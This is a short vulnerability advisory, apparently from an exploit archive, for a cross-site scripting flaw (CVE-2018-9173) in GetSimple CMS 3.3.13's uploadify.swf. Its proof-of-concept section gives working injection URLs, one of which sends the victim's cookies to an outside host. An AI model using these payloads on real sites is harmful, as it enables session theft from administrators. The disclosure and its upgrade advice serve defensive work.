GetSimple CMS 3.3.13 - Cross-Site Scripting

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# Exploit Title: GetSimple CMS 3.3.13 - Cross Site Scripting Vulnerability
# Google Dork: N/A
# Date: 03-04-2018
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# Exploit Author: Sureshbabu Narvaneni#
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# Author Blog : http://nullnews.in
# Vendor Homepage: http://get-simple.info/
# Software Link: http://get-simple.info/download/
# Affected Version: 3.3.13
# Category: WebApps
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
# CVE : CVE-2018-9173
#
# 1. Vendor Description:
#
# GetSimple is an XML based, stand-alone, fully independent and lite
Content Management System. To go along with its
# best-in-class user interface, we have loaded it with features that every
website needs, but with nothing it
# doesn't. GetSimple is truly the simplest way to manage a small-business
website.
#
# 2. Technical Description:
#
# Cross-site scripting (XSS) vulnerability in
admin/template/js/uploadify/uploadify.swf in GetSimple CMS 3.3.13
# allows remote attackers to inject arbitrary web script or HTML, as
demonstrated by the movieName parameter.
#
# 3. Proof Of Concept:
#
#  Simple alert.
#
#  http://
[URL]GetSimpleCMS-3.3.13/admin/template/js/uploadify/uploadify.swf?movieName="])}catch(
#  e){alert("MrR3boot")}//
#
#  Grab the cookies
#
#  http://
[URL]GetSimpleCMS-3.3.13/admin/template/js/uploadify/uploadify.swf?movieName="])}catch(
#  e){window.location="https://mrreboot.here?"+document.cookie}//
#
# 4. Solution:
#
# Upgrade to latest release.
# http://get-simple.info/download/
#
# 5. Reference:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9173
# https://github.com/GetSimpleCMS/GetSimpleCMS/issues/1266
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